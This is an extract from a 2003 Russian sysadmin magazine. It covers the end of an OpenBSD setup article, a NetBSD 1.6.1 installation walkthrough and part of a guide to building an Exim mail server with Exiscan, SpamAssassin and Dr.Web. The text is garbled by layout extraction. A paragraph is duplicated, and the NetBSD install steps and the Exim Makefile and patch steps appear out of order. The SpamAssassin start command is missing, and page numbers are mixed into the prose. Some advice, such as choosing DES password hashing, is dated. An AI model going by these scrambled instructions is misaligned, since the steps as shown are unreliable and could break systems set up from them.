Почтовая система OpenBSD включает в себя Sendmail MTA, которая настроена только на локальную доставку почты. Это значит, что посылать письма локальным пользователям вы можете, а вот принимать почту из сети – нет. Если вы хотите использовать Sendmail MTA в дальнейшем, то вам надо отредактировать файл /etc/mail/sendmail.cf и sendmail_flags в файле /etc/rc.conf.local. Файл /etc/mail/localhost.cf, сгенерированный из openbsd-localhost.mc как раз и служит только для «локальной MTA» и используется по умолчанию. Я использую Postfix MTA на моих боксах, но объяснять почему в этой статье я не буду. Слишком много разных мнений на эту тему. Я лишь могу рекомендовать вам, если вы еще не определились с выбором MTA, использовать Postfix. OpenBSD очень хорошо с ним дружит.
DHCP-сервер В случае надобности этого сервиса в вашей сети, я думаю, вы уже догадываетесь, что надо сделать. Редактируем файл /etc/rc.conf.local: dhcpd_flags=-q
затем файлs /etc/dhcpd.conf и /etc/dhcpd.interfaces и запускаем демон dhcpd (8).
32
И высылают его пользователю root на почту. Просмотрев скрипты, вы без проблем разберетесь, как и где они собирают данную информацию. Отдельная тема для статьи пакет mtree в OpenBSD. Именно он генерирует отчет о пропущенных и измененных файлах в системе.
администрирование И высылают его пользователю root на почту. Просмотрев скрипты, вы без проблем разберетесь, как и где они собирают данную информацию. Отдельная тема для статьи пакет mtree в OpenBSD. Именно он генерирует отчет о пропущенных и измененных файлах в системе.
Заранее скомпилированное программное обеспечение (Packages, упаковки) Любителям лениво сидеть перед монитором посвящается. OpenBSD имеет огромный набор packages на любой вкус, начиная от системных утилит и демонов, заканчивая пакетами для графической среды X Windows. На втором (обычно) диске дистрибутива как раз и идут файлы в формате tar.gz, содержащие скомпилированное и порой уже отконфигурированное ПО. Достаточно лишь использовать команду pkg_add (1) и пакет уже установлен в вашей системе. В системе FreeBSD имеются PORTS, прославившие ее, чем мы хуже? У нас тоже они есть, и еще сколько! Ставим дистрибутив портов с первого диска или же выкачиваем его из сети, используя ftp://ftp.openbsd.org, разворачиваем в папке /usr и вуаля! У нас стоят порты. Дальнейшую работу с портами в этой статье описывать не буду, скажу лишь только: cd /usr/ports/packagename; make install
и в большинстве случаев все. Вы обладатель установленного ПО. Вам стоит прочитать страницы ports (7) packages (7) из мануала, и мне не придется краснеть за то, что я оставил вас в неведении относительно быстрой установки ПО в OpenBSD. Опять же, обратившись к ftp:// ftp.openbsd.org, вы найдете много интересных вещей. Не забывайте, это лишь первые шаги, и мы делаем все, чтобы система «точно работала», но не всегда «лучше работала». «Who wanna have, must work»,– как говорят некоторые, так вот и мы с вами будем потихоньку доводить нашу работу с системой до совершенства. Опять получилось лирическое отступление, доиграла «Enigma – Sadeness», допита четвертая чашка кофе, ста-
№8(9), август 2003
тья перед вами. Осталось только ввести имя пользователя, пароль и погрузиться в темный, дремучий лес OpenBSD с фонариком в виде журнала «Системный администратор». В следующей статье я расскажу подробнее о сетевой подсистеме OpenBSD и о ее тюнинге. Вот список страниц мануала, которые я рекомендую вам для прочтения к данной статье: adduser (8) chgrp (1) amd (8) chmod (1) bootpd (8) crontab (1) ccdconfig (8) date (1) chown (8) df (1) config (8) domainname (1) dhclient (8) hostname (1) dhcp (8) ls (1) dhcpd (8) make (1) dmesg (8) man (1) ftpd (8) netstat (1) ifconfig (8) passwd (1) inetd (8) pkg_add (1) kbd (8) ssh (1) lpd (8) su (1) mount (8) xdm (1) mtree (8) ccd (4) named (8) aliases (5) netstart (8) bootptab (5) newaliases (8) crontab (5) portmap (8) exports (5) rbootd (8) fstab (5) rc (8) group (5) rmt (8) hostname.if (5) route (8) login.conf (5) sudo (8) passwd (5) telnetd (8) printcap (5) umount (8) resolv.conf (5) vipw (8) ssh_config (5) yp (8) hostname (7) ypbind (8) packages (7) ports (7)
33
администрирование
NetBSD: УСТАНОВКА И НАСТРОЙКА
Сегодня мы поговорим о NetBSD, которая является одной из разновидностей BSD-систем. Несмотря на то что она широко распространена среди англоязычных пользователей, в России о ней почти никто не знает. Эта статья призвана исправить сей досадный недостаток.
АНДРЕЙ БЕШКОВ 34
администрирование Первая версия NetBSD, появившаяся в 1993 году, называлась NetBSD 0.8. Основывалась она на исходном коде системы 4.3BSD Lite, разработанной университетом Berkeley, и системе 386BSD, которая стала первым вариантом BSD Unix, способным работать на процессорах Intel 386. В течение последующих лет система NetBSD впитывала самые лучшие идеи из всех веток BSD-систем. Многие из этих идей постепенно трансформировались и улучшались энтузиастами, работающими над развитием NetBSD. Список приобретенных возможностей довольно длинный, поэтому перечислим лишь малую часть из них: Управление заданиями Быстрая файловая система Berkeley Надежный механизм сигналов Концепция виртуальной памяти Работа с TCP/IP Командная оболочка C Впоследствии многое из того, что было опробовано или создано на основе BSD, и NetBSD в частности, стало стандартом для всех Unix-систем. Несмотря на свой малый размер, NetBSD является полноценной Unix-системой. Важнейшими приоритетами в процессе разработки стали хорошо продуманный, но в то же время простой дизайн, отличное качество кода и приверженность стандартам. Система в первую очередь задумывалась как среда для обучения студентов основам проектирования Unixсистем и полигон для проверки новых идей. Это позволило легко портировать систему на огромное количество разнообразнейшего оборудования. Лозунгом системы стала фраза «если внутри этой штуки есть процессор, значит, мы будем на нем работать». На данный момент NetBSD отлично чувствует себя более чем на 20 разных платформах. Давайте кратко пробежимся по их списку: Sun SPARC Sun 3 Sun 3X Digital Alpha (64 бита) Commodore Amiga, MacroSystem DraCo Все клоны IBM PC на процессорах I386 Acorn RiscPC/A7000, CATS, EBSA-285, Digital Shark, VLSI RC7500 ATARI TT030, Falcon, Hades Hewlett-Packard 9000/300 Hewlett-Packard 9000/400 Apple Power Macintosh Apple Macintosh Motorola MVME 86k SBCs NeXT 68k DECstations и DECsystem, созданные на основе Digital MIPS PC 532 Digital VAX Sharp X680x0 Среди аппаратного обеспечения, на котором успешно выполняет свои задачи NetBSD, есть как большие 64-битные системы вроде Digital Alpha, так и домашние машины вроде Atari или клоны IBM PC. В то же время не только Macintosh, но и карманные компьютеры не обойдены вни-
№8(9), август 2003
манием. Примером миниатюризации может служить следующая фотография, на которой запечатлен карманный компьютер HP Jordana 720:
Если внимательно присмотреться к картинке, можно заметить отлично работающий оконный менеджер BlackBox и игру XDoom, в которой увлеченно сражается с монстрами владелец этого миниатюрного аппарата. Практически все приложения, запускаемые на обычных компьютерах, работающих под управлением BSD-систем, будут работать и на этой машине. Можно посмотреть галерею снимков рабочих столов пользователей NetBSD по этому адресу: http://www.netbsd.org/ gallery/in-Action/. Я думаю, вас удивит KDE, GNOME и множество других отлично работающих на этой платформе программ. Благодаря бинарной совместимости с Linux (Linux Binary Compatibility), присущей всем BSD- системам, есть возможность запросто запустить и успешно использовать более 90%программ, скомпилированных для Linux. Приятно осознавать, что в компьютере размером чуть больше пивной алюминиевой баночки живет свой собственный BSD Unix. Судя по всему, создатели NetBSD крепко усвоили истину, не дающую покоя многим мужчинам – размер имеющегося в распоряжении железа значения не имеет. Главное – уметь им пользоваться как следует. Тут искушенный в Unix читатель должен нахмуриться и высказать мнение, что, дескать, есть системы и поменьше. Например, безвременно почивший LRP (Linux Router Project) или PicoBSD, помещающиеся на одной дискете. А я триумфально отвечу, что не стоит путать полноценный и богатый возможностями Unix с урезанными системами, главным смыслом возникновения которых была необходимость создавать нетребовательные к железу платформы для межсетевых экранов и маршрутизаторов. Для того, кто решил работать с NetBSD, на первый взгляд количество аппаратных платформ, на которые портирована система, не имеет особого значения. Но если посмотреть с другой стороны на тот же вопрос, оказывается, что между переносом на другое оборудование и качеством исходного кода есть очень тесная связь. Без отлично спроектированного, простого для понимания и хорошо организованного кода поддерживать такое количество разношерстного оборудования и разных его комбинаций абсолютно невозможно.
35
администрирование Многие системы в процессе разработки руководствуются принципом «если код работает, значит, он написан правильно». NetBSD в отличие от них считает, что такой ход мыслей неверен. Вместо этого пропагандируется следующий подход к созданию систем: код не считается работающим до тех пор, пока не будет полностью проверен на правильность. Кажется странным, что большинство людей не видят или не хотят понимать этих отличий. Опираясь на университетские традиции, сообщество, работающее над развитием NetBSD, позиционирует свой проект как свободную систему для профессионалов и энтузиастов, которую все желающие могут использовать для любых целей. Каждому предоставляется свободный доступ к исходным кодам и бинарным пакетам системы. А значит, внесение модификаций и дальнейшее распространение системы всячески приветствуется. На мой взгляд, все вышеперечисленные характеристики NetBSD делают ее идеальной системой не только для изучения Unix, но и для многих других начинаний. Одним из приятных моментов в общении с этой системой является то, что для начала работы не нужно покупать дорогостоящего оборудования, а можно использовать старые PC, Mac и прочие компьютеры. Это большой плюс для развития малобюджетных исследовательских проектов. Ну а если вам нужен Unix, работающий одинаково стабильно на множестве платформ, то вполне возможно, что NetBSD – ваш единственный выбор. Обсудив все плюсы NetBSD, перейдем от теории к практике. Ну а чтобы у вас не сложилось впечатления о предвзятом и однобоком освещении системы, я в процессе установки обязательно буду говорить о замеченных недостатках. Начать инсталляцию можно со следующих носителей: ftp гибкий диск CD-ROM nfs локальная директория Так как статья не задумывалась в качестве исчерпывающего руководства по установке NetBSD, я выбрал CD-ROM как наиболее простой путь инсталляции. Не будем осложнять себе жизнь возней с загрузочной дискетой, настройкой nfs и прочими изысками. Для того чтобы создать загрузочный CD-ROM, нам нужно скачать iso – образ диска с любого из зеркальных серверов NetBSD. На момент написания статьи для скачивания была доступна версия NetBSD 1.6.1. Именно ее мы и будем использовать. Идем по адресу: http://www.netbsd.org/mirrors/#iso и выбираем ближайший к нам сервер дистрибутивов. Лично я использовал работающий подозрительно быстро Эстонский сервер ftp://ftp.ee.netbsd.org. Для моего PC предназначается дистрибутив, в названии которого содержится имя используемого нами процессора i386. Ну а вы, соответственно, должны выбирать дистрибутив для своего процессора. Переходим в директорию /pub/NetBSD/iso/1.6.1/ и качаем оттуда файл с образом загрузочного диска i386cd.iso размером в 125 мегабайт. Интересно, как разработчики системы смогли упаковать полнофункциональный Unix в такой
36
малый объем. В этой же директории находятся еще 8 дисков с пакетами дополнительного программного обеспечения. Они нам пока не нужны, поэтому скачивать их не станем. В качестве бонуса можно взять файл i386pkg-cover.pdf, содержащий внутри себя картинки обложек для CD-ROM. По окончании скачивания тем или иным способом записываем образ на CD-ROM. Я использовал для этого старенькую машину с Linux и программу cdrecord. Впрочем, для Windows-программ, выполняющих данную функцию, тоже вполне достаточно. В BIOS выставили загрузку с CD-ROM, вставили диск и перезагрузили компьютер. Как и во всех остальных BSDсистемах, вначале видим стандартное меню с таймером. Нажимаем клавишу «Enter» или ждем, пока сработает таймер, и загрузка продолжится сама по себе.
В зависимости от скорости процессора на экране в разном темпе начинает появляться информация, выводимая модулем диагностики и обнаружения оборудования. Иногда процесс вывода замирает на 20-40 секунд. Как только мы добрались до этапа, изображенного на следующем снимке, нужно немного подождать. Система задумывается примерно на минуту и, казалось бы, зависает.
Но не стоит беспокоиться и пробовать вмешиваться в процесс начальной загрузки. Через минуту-другую все снова зашевелится. Программа-загрузчик была занята созданием файловой системы в оперативной памяти. И вот на экране появилось заглавное меню программы sysinst. На протяжении всего процесса инсталляции мы будем работать именно с ней.
Пользуясь появившимся меню, можно выполнить следующие действия: начать инсталляцию; обновить уже установленную систему NetBSD; инсталлировать заново имеющееся в системе или добавить новое программное обеспечение; перезагрузить машину. Если с первыми тремя пунктами все более или менее ясно, то необходимость четвертого пункта, позволяюще-
администрирование го перегрузить машину, для меня лично довольно сомнительна. Почему это нельзя сделать с помощью кнопки «Reset» или, на крайний случай, «Power», мне было непонятно. Впоследствии после консультаций со знающими людьми было выяснено, для чего именно эта опция необходима. Оказалось, что нужна она для того, чтобы размонтировать разделы, используемые во время обновления пакетов с программным обеспечением и добиться корректного завершения установки.
Например, запуск оболочки командного интерпретатора /bin/sh. На следующем рисунке мы можем видеть результат выполнения команд pwd и ls. Нам предоставлена самая обычная оболочка, с помощью которой можно поработать внутри запущенной сейчас системы и подправить все, что нужно, если вдруг что-то пойдет не так. Выйти из оболочки можно, как обычно, нажав Ctrl+D.
Дальше идет интерфейс для установки временной зоны. Меню это настолько лаконично, что и писать-то о нем особенно нечего. Кстати, воспользоваться им для изменения данных так и не удалось. Странно, но нажатие каких угодно клавиш не давало никаких результатов. Следом за ним появляется меню настройки сетевых интерфейсов, отображающее две сетевые карты, установленные на моей машине.
Точно такого же результата можно достичь, если отказаться от DHCP и отвечать на все задаваемые вопросы самостоятельно. DHCP-сервер на основе FreeBSD, работающий по 192.168.10.2, выделил мне адрес 192.168.10.128. Ответив «Yes» на вопрос о том, верно ли проведено конфигурирование сетевой карты, я решил проверить, насколько правильно она будет после этого работать. Пользуясь меню, о котором мы говорили ранее, запустил оболочку /bin/sh. Затем с помощью команды ping попытался посмотреть, доступен ли наш DHCP-сервер. Также по совместительству он является DNS-сервером и шлюзом по умолчанию.
Как видите, сервер оказался доступен. Окрыленный таким успехом, я решил проверить другие протоколы и для этого воспользовался ftp-сервисом, работающим на том же сервере. Авторизовавшись, скачал из домашней директории пользователя tigrisha файл .cshrc. Убедился, что файл появился в локальной файловой системе.
К примеру, можно выбрать первый адаптер pcn0. Затем следует определение типа сетевой среды. Обычно рекомендуется устанавливать autoselect.
Следующий вопрос позволяет указать, используем ли мы DHCP для получения сетевых параметров.
Если согласиться, то адрес TCP/IP для этого интерфейса будет получен автоматически при условии наличия в сети DHCP-сервера. Вводим данные о домене и имени хоста. Я использовал в качестве имен строки «netbsd» и «unreal.net» соответственно. Так как вокруг меня нет сетей, работающих с протоколом IPv6, я отказался от его использования. И в результате получил вот такую картинку:
№8(9), август 2003
Вы можете спросить меня, зачем производились все эти странные манипуляции. А я отвечу: просто для эксперимента. Из чистейшего любопытства и желания проверить, насколько гибко работает мини-система, управляющая инсталляцией. Кстати, все настройки, которые мы сейчас определили, можно по окончании инсталляции сохранить как используемые системой по умолчанию. А это значит, что нам не придется вносить их руками в конфигурационные файлы
37
администрирование после первой перезагрузки системы. Учитывая тот факт, что система вместе с ядром и прочими программами, с которыми мы работали, находится в оперативной памяти, а на жестком диске еще нет никаких данных, стоит признать ее впечатляющие возможности. Я предвижу, что в этом месте многие читатели поморщатся и выскажут свое скептическое мнение. Дескать, экая невидаль ping и ftp у них работает. А я им в ответ заявлю, что для сравнения пусть попробуют сделать что-либо подобное во время установки Windows или Linux. Итак, наигравшись и выяснив потенциальные возможности системы, возвращаемся в самое первое меню и приступаем к созданию разделов на жестком диске. Для этого выбираем пункт «Install NetBSD to hard disk».
ством. Инсталляция всех пакетов плюс система X Windows займет 290 мегабайт, а без него 200 мегабайт. Следующий вопрос, заданный системой, уточняет тип разбиения диска на файловые системы.
Standart – вопрос о размерах и размещении необходимых файловых систем программа инсталляции решает сама.
Standart X – размеры и размещение файловых систем
Следующая подсказка повествует о том, что для продолжения инсталляции нам необходимо создать разделы на жестком диске. Затем внутри этих разделов разместить файловые системы нашей операционной системы. И уж только после этого установить нужные наборы программного обеспечения, называемые почему-то «distribution sets». Согласившись с предлагаемым планом, выбираем целевой жесткий диск. В моей системе он назывался wd0. Последствия выбора не заставляют себя долго ждать.
Тут нам разрешают использовать данные о геометрии жесткого диска, собранные мастером оборудования, или задать свои. Я использовал данные, определенные мастером. После этого наступает черед очень опасного выбора. Нужно решить, использовать все пространство, доступное на этом диске, или только часть из него. Выбирать использование части стоит в том случае, если на диске есть разделы других операционных систем или вы желаете их создать в дальнейшем. При использовании всего пространства данные, ранее находившиеся на этом диске, будут уничтожены.
У меня ничего ценного на этом диске отродясь не водилось, поэтому было решено полностью использовать доступное пространство, которое было равно 1023,97 мегабайт. Следует отметить, что NetBSD для исправного функционирования довольствуется гораздо более скромным простран-
38
совпадают со стандартным размещением, за исключением того, что раздел swap увеличивается в два раза. Также стоит обратить внимание на тот факт, что система резервирует место для бинарных файлов X-сервера. Таким образом, мы получим графический интерфейс на основе XFree. Custom – ручное разбиение файловых систем и определение точек монтирования. Use existing – использовать уже имеющиеся файловые системы. Нужно будет всего лишь указать точки монтирования для них.
Я выбрал Standart X и получил следующую картину распределения файловых систем по жесткому диску:
Поверив, что все на первый взгляд выглядит нормально, решил не пользоваться опцией «Change partitions», вызывающей местный аналог программы fdisk, и выбрал взамен пункт меню «Partitions are ok». На следующем экране система интересовалась, не хочу ли я дать имя жесткому диску вместо используемого по умолчанию «mydisk». Я решил, что хочу и назвал его «system». Впрочем, вы можете поступить, как вам заблагорассудится, потому что название некритично. Затем последовало предупреждение о том, что изменения на жесткий диск пока не записаны и у нас есть последний шанс все отменить. Недрогнувшей рукой выбираем пункт меню, разрешающий продолжать инсталляцию. Некоторое время на экране будут мелькать надписи, извещающие нас о процессах создания и о ходе разметки новых файловых систем. Нарисовав следующее меню, система пытается узнать, что мы хотим использовать в качестве системной консоли. Выбрать можно один из двух вариантов: Normal bootblock – системной консолью служит монитор, подключенный к машине.
администрирование Serial bootblock – присоединяем системную консоль к первому последовательному порту. Я выбрал Normal bootblock, в ответ система немножко пожужжала диском и радостно сообщила о том, что первый этап инсталляции завершен и теперь мне необходимо выбрать наборы программного обеспечения, которые будут установлены далее. Как обычно, дают выбрать из двух наборов – Full и Custom. Повинуясь своему неуемному любопытству, решил использовать нестандартный набор пакетов. На следующем экране слева виден список выбранных пакетов, а справа – меню со списком доступных для установки пакетов. Установить или снять пометку о выборе можно с помощью клавиши «Enter».
После того как разберемся с выбором пакетов, система задаст вопрос о носителе, с которого будет производиться инсталляция.
Я выбирал CD-ROM, ну а вы можете использовать все, что душе угодно. В следующем меню определяем, является у нас CD-ROM устройством или директорией. Такой подход удобен, если CD-ROM примонтирован в нестандартное место.
Выбрав пункт device, соглашаемся с предлагаемым системой вариантом: считать нужный нам CD-ROM устройством cd0. Несмотря на то что в вашей системе маркировка может отличаться, я думаю, догадаться, что есть что, особого труда не составит. Указав, где у нас находится CD-ROM, используем пункт меню «Continue» и приказываем продолжать установку. Минут 5 любуемся на бегущие по экрану списки устанавливаемых пакетов. К сожалению, с таким составом пакетов с первого раза удачно завершить инсталляцию мне не удалось. Начались шаманские танцы с бубном, но, несмотря на все старания, процедура установки с завидным
№8(9), август 2003
постоянством прерывалась сообщениями о фатальной ошибке в пакете X11-fonts. Хорошо, что установка длится всего 5 минут. На третьей неудачной попытке были отключены все пакеты, связанные с X Windows. И только после этого инсталляция удалась. Либо при скачивании из сети образ диска был поврежден, либо у меня плохо работает CD-ROM. В голове крутятся мысли о том, что, конечно, хотелось посмотреть, насколько хорошо работает оконная система, но все же это некритично. Посмотрев на настенные часы, понимаю, что 3 часа ночи – не самое лучшее время для того, чтобы разбираться с неполадками. Ложусь спать с твердым намерением завтра обязательно победить эту досадную ошибку. На следующий день подопытная машина почувствовала на своей шкуре все прелести профилактики и техобслуживания. После этого была начата новая инсталляция NetBSD с полным набором пакетов X Window, завершившаяся успешно. Судя по всему этот старый CD-ROM нужно чистить гораздо чаще. Как только нужные пакеты установились на жесткий диск, система покажет меню с вопросом, корректно ли у нас настроена сетевая подсистема и можно ли записать настройки, использовавшиеся в этом сеансе как настройки по умолчанию. С радостью соглашаемся и жмем «Yes»: все-таки редактировать системные файлы с помощью vi – удовольствие не из самых приятных. После этого наступает черед установить часовой пояс, в котором находится эта машина. Для меня это зона EUROPE/Moscow. Выбираем ее с помощью клавиши «Enter» и выходим из меню, нажав одну за другой клавиши «x» и «Enter». Далее выбираем схему шифрования паролей. Доступны шифры DES и MD5. В большинстве Unix-подобных систем стандартом де факто является DES. Решено было использовать именно его. Система спросит, не хотим ли мы проинициализировать пароль пользователя root. Изъявляем желание и устанавливаем в качестве пароля что-то очень длинное и сложно-запоминаемое. Читаем поздравления, говорящие об удачном завершении установки, а когда надоест, нажимаем «OK» и снова попадаем в самое первое меню инсталляции. Теперь нужно перегрузить машину, наконец-то нам пригодилась загадочная опция «Reboot machine». Следующим сюрпризом для нас будет тот факт, что теперь во время загрузки для отображения сообщений на системную консоль используется шрифт ярко-зеленого цвета. Под конец процедуры загрузки демонов шрифт снова станет белым. Не Unix, а какой то калейдоскоп. Войдя в систему под пользователем root, смотрим состояние сетевых интерфейсов с помощью команды ifconfig –a. Настройки, определенные в процессе инсталляции, сохранились. Затем настраиваем X Windows с помощью программ xf86config или XF86SETUP. Процесс этот ничем от остальных Unix-систем не отличается, поэтому писать о нем не станем. Стоит отметить, что X Windows запустились сразу же без каких-либо ошибок. А вот с русской локализацией консоли разобраться так и не удалось. На этом, наверное, стоит завершить нашу совместную экскурсию по системе и пожелать вам успехов в освоении этого варианта Unix. Если отклик на эту статью будет достаточно сильным, то, наверное, я буду продолжать писать об освоении NetBSD.
39
администрирование
ЭФФЕКТИВНАЯ ПОЧТОВАЯ СИСТЕМА НА БАЗЕ
Статья рассматривает создание почтовой системы с использованием Exim MTA версии 4, Exiscan, SpamAssassin, Dr.Web; системы, защищенной от спама и вирусов, рассчитанную на большое количество пользователей (сотни пользователей), а также имеющую удобную конфигурацию в одном файле. В нашем примере в качестве ОС выбрана FreeBSD 4, но не будет никакой разницы в установке для любой другой ОС семейства UNIX.
ДЕНИС МЫСЕНКО Почему Exim? Exim MTA (message transfer agent) является широкофункциональной и высоко-защищенной почтовой системой. Несмотря на монолитность программного кода (все блоки находятся в одном процессе), за всю ее историю не было обнаружено ни одной серьезной уязвимости, допускающей несанкционированный доступ к серверу, на котором она работает. Программа распространяется по лицензии GNU, автор – доктор Philip Hazel, The University of Cambridge. Официальный сайт Exim – http://www.exim.org. Последней версией на текущий момент является 4.20, но мы рассмотрим пример на 4.12, как проверенный автором статьи. Exim умеет брать пользователей из любого источника – MySQL, OpenLDAP, UNIX и т. д. Вся конфигурация находится в одном файле и разбита на практически автономные секции, что дает особые удобства и возможности при работе с ней.
40
Среди разделов конфигурации:
Основной (main), где находятся общие настройки типа имени сервера, баннера, списка обслуживаемых доменов.
Раздел безопасности (ACL), где находятся правила, на
которые проверяется проходящяя через сервер почта. К примеру, реальность домена отправителя, существование пользователя на другом конце (callout). Раздел маршрутизации (routers), где находятся правила выбора маршрута почты, подсказывающие серверу, как найти приемщика корреспонденции. К примеру, доменный принцип (смотреть в DNS), алиасы (смотреть в файле алиасов), форварды (смотреть у пользователя в домашней папке в файле .forward), статическое правило (доставлять на указанный сервер). Раздел доставки (transport), где находится описание правил доставки. К примеру, доставка по SMTP, доставка в файл.
администрирование Раздел переписывания (rewrite), где находятся правила изменения заголовков писем. К примеру, вы можете перенаправить всю почту одного домена на свой ящик, переписав поле RCPT. Плюс разделы задания правил попыток пересылки (retry) и аутентификации. Благодаря существованию Exiscan, Exim нам поможет проверять проходящую через него почту на наличие вирусов, спама и других «почтовых дефектов» еще на этапе SMTP-сессии – это будет происходить по завершению команды DATA, в момент, когда удаленный почтовый сервер ждет реакции от Exim. При обнаружении «дефекта» Exim сразу же откажет в получении письма и, таким образом, ненужное письмо даже не успеет попасть в почтовую очередь (что спасает место на жестких дисках и нервы администратору).
Компоненты Помимо самого Exim 4.12 в предложенной схеме будут использоваться: Exiscan – http://duncanthrax.net/exiscan/ – осуществление проверки во время SMTP-сессии (патч для Exim). Наш пример касается версии exiscan 4.12-26 (freeware). SpamAssassin – http://spamassassin.org/ – анализ почты по заданным правилам на отношение к спаму. За каждое правило назначено число баллов. При достижении указанного количества баллов письмо считается спамом. Пример правила – большие красные буквы в тексте письма. Наш пример касается версии SpamAssassin 2.50 (freeware). Dr.Web – http://www.drweb.ru/ – популярный российский антивирус от фирмы «Диалог-Наука». Является коммерческим, цены доступны на сайте.
Собираем Exim Скачиваем Exim 4.12 и exiscan 4.12-26 с официальных сайтов, указанных в предыдущем разделе. Распаковываем exiscan в папку с распакованным Exim. bash-2.05a$ wget ftp://ftp.csx.cam.ac.uk/pub/software/ ↵ email/exim/exim4/exim-4.12.tar.gz bash-2.05a$ tar xzf exim-4.12.tar.gz bash-2.05a$ cd exim-4.12 bash-2.05a$ wget http://duncanthrax.net/exiscan/ ↵ exiscan-4.12-26.tar.gz bash-2.05a$ tar xzf exiscan-4.12-26.tar.gz
Пути:
BIN_DIRECTORY=/usr/exim/bin – путь к программам Exim; CONFIGURE_FILE=/usr/exim/configure – путь к файлу конфигурации. Маршрутизаторы почты:
ROUTER_ACCEPT=yes – доставка почты в локальный ящик;
ROUTER_DNSLOOKUP=yes – доставка почты, используя DNS (по записям MX);
ROUTER_IPLITERAL=yes – доставка почты на IP-адреса (к примеру, postmaster@[10.1.1.1]);
ROUTER_MANUALROUTE=yes – доставка почты на явно заданный сервер;
ROUTER_QUERYPROGRAM=yes – доставка почты по информации от внешней программы;
ROUTER_REDIRECT=yes – перенаправление почты (файлы .forward, база aliases). Лучше на все поставить «yes», чтобы потом не пересобирать, если что-то понадобится. Транспорты: TRANSPORT_APPENDFILE=yes – запись в файл; TRANSPORT_AUTOREPLY=yes – автоответчик; TRANSPORT_PIPE=yes – доставка через PIPE; TRANSPORT_SMTP=yes – доставка на SMTP-сервер. Также на все поставить «yes», чтобы опять же не пересобирать в будущем. Поиск пользователей: LOOKUP_DBM=yes – поиск в Berkeley DB; LOOKUP_LSEARCH=yes – линейный поиск в файле (типа /etc/aliases); LOOKUP_LDAP=yes – поиск в OpenLDAP; LOOKUP_MYSQL=yes – поиск в базе MySQL; LOOKUP_NIS=yes – поиск в директории NIS; LOOKUP_NISPLUS=yes – поиск в директории NIS+; LOOKUP_ORACLE=yes – поиск в базе Oracle; LOOKUP_PASSWD=yes – поиск в passwd файлах; LOOKUP_PGSQL=yes – поиск в базе PostgreSQL. SMTP-аутентификаторы:
AUTH_CRAM_MD5=yes – аутентификация по CRAMMD5 (RFC 2195);
AUTH_PLAINTEXT=yes – открытым текстом – LOGIN-меПрименяем патч:
ханизм (RFC 2595);
AUTH_SPA=yes – Microsoft Secure Password Authentication.
bash-2.05a$ patch -l -p1 < exiscan-4.12-26.patch
Копируем дефолтный файл сборки: bash-2.05a$ cp src/EDITME Local/Makefile
Редактируем Local/Makefile под свои нужды. Обращаем внимание на поля: EXIM_UID – UID, под которым будет крутиться Exim; EXIM_GID – GID, под которым будет крутиться Exim, обычно GID группы mail; SPOOL_DIRECTORY – папка с почтой, обычно /var/mail.
№8(9), август 2003
Выбираем нужные. Теперь в корне дистрибутива Exim набираем: bash-2.05a$ make bash-2.05a$ make install
Все, Exim установлен в /usr/exim/bin. Теперь делаем: bash-2.05a$ rm -f /usr/sbin/sendmail bash-2.05a$ ln -s /usr/exim/bin/exim /usr/sbin/sendmail bash-2.05a$ sendmail -bd
Проверяем работу нашего MTA:
41
администрирование bash-2.05a$ telnet 0 25 Connected to 0. Escape character is '^]'. 220 ourmail.duster.ru ESMTP Exim 4.12 ↵ Thu, 17 Jul 2003 16:09:30 +0700
Отлично, наш быстрый и удобный почтовый сервер установлен.
Собираем и конфигурируем SpamAssassin Убийца спама (такой дословный перевод SpamAssassin) собирается очень просто: bash-2.05a$ wget http://www.mirror.ac.uk/sites/ ↵ spamassassin.taint.org/spamassassin.org/ ↵ released/Mail-SpamAssassin-2.50.tar.gz bash-2.05a$ tar xzf Mail-SpamAssassin-2.50.tar.gz bash-2.05a$ cd Mail-SpamAssassin-2.50 bash-2.05a$ ./configure bash-2.05a$ make bash-2.05a$ su su-2.05a# make install
Обращаем внимание на то, что ему потребуются некоторые Perl-модули, которые вы всегда можете найти в архиве CPAN (http://www.cpan.org). Рекомендую сразу перейти в папку /etc/mail/assassin и внести некоторые изменения в файлы конфигурации. Создадим файл local.cf, куда внесем следующие строки: whitelist_from *@duster.ru whitelist_from *@demos.su
Это домены, с которых любая почта не будет считаться спамом. Обязательно пропишите здесь ваших партнеров, дружественные домены и так далее – иначе в будущем возможны проблемы... Теперь создадим файл user_prefs.template, куда внесем следующие строки: score score score score
BODY_8BITS 0 SUBJ_FULL_OF_8BITS 0 HEADER_8BITS 0 HTML_COMMENT_8BITS 0
bash-2.05a$ wget ftp://ftp.drweb.ru/pub/unix/4.29.5/ ↵ drweb-4.29.5-freebsd4.tar.gz bash-2.05a$ tar xzf drweb-4.29.5-freebsd4.tar.gz bash-2.05a$ cd drweb-4.29.5-freebsd4 bash-2.05a$ su su-2.05a# ./install.sh Enter destination directory (/opt/drweb is default): /usr/local/drweb
После чего Dr.Web будет установлен в папку /usr/local/ drweb. В работе нам помимо сервера Dr.Web (drwebd) потребуется клиент из папки /usr/local/drweb/clients/drwebdc. Конфигурация Dr.Web находится в файле drweb32.ini. Обратим внимание на следующие поля: Key = «/usr/local/drweb/drwebd.key» – файл с лицензионным ключом. Interfaces = «localhost» – в большинстве случаев нет смысла держать Dr.Web на других интерфейсах, если мы не обслуживаем удаленные сервера. User = drweb – нет никакого смысла работать под супер-пользователем, лучше создать пользователя (к примеру «drweb») и дать только ему и группе администраторов права на чтение и запуск из папки /usr/local/ drweb. LogScanned = Yes – записывать ли в лог результаты обработки – конечно, да. EnginePath = «/usr/local/drweb/drweb32.dll» VirusBase = «/usr/local/drweb/*.vdb» MoveFilesTo = «/usr/local/drweb/infected.!!!» Пути к файлу с движком Dr.Web, вирусным базам и папке с инфицированными файлами соответственно. Менять на свой вкус. Не забывайте лишь дать права созданному пользователю на запись в папку с инфицированными файлами. su-2.05a# chown drweb.wheel /usr/local/drweb su-2.05a# chmod 550 /usr/local/drweb su-2.05a# chmod 750 /usr/local/drweb/infected.!!!
Сам сервер запускается очень просто: bash-2.05a$ /usr/local/drweb/drwebd
Нам незачем за 8-битные символы считать письмо спамом – ведь как ни странно, многие в России до сих пор составляют электронную корреспонденцию на русском. В целях безопасности следует завести дополнительного пользователя, допустим spamd. По умолчанию процессом SpamAssassin используется порт 783, но так как мы будем пускать его не под супер-пользователем, следует взять порт выше 1023, к примеру 1783. Запускаем SpamAssasin в фоновом режиме:
Это следует прописать в файл запуска (/etc/rc.local для FreeBSD). Обновленные антивирусные базы следует класть в эту же папку, с дистрибутивом Dr.Web идет скрипт для автоматического обновления – update.pl. Его следует прописать в cron, для этого: su-2.05a# crontab -u root -e
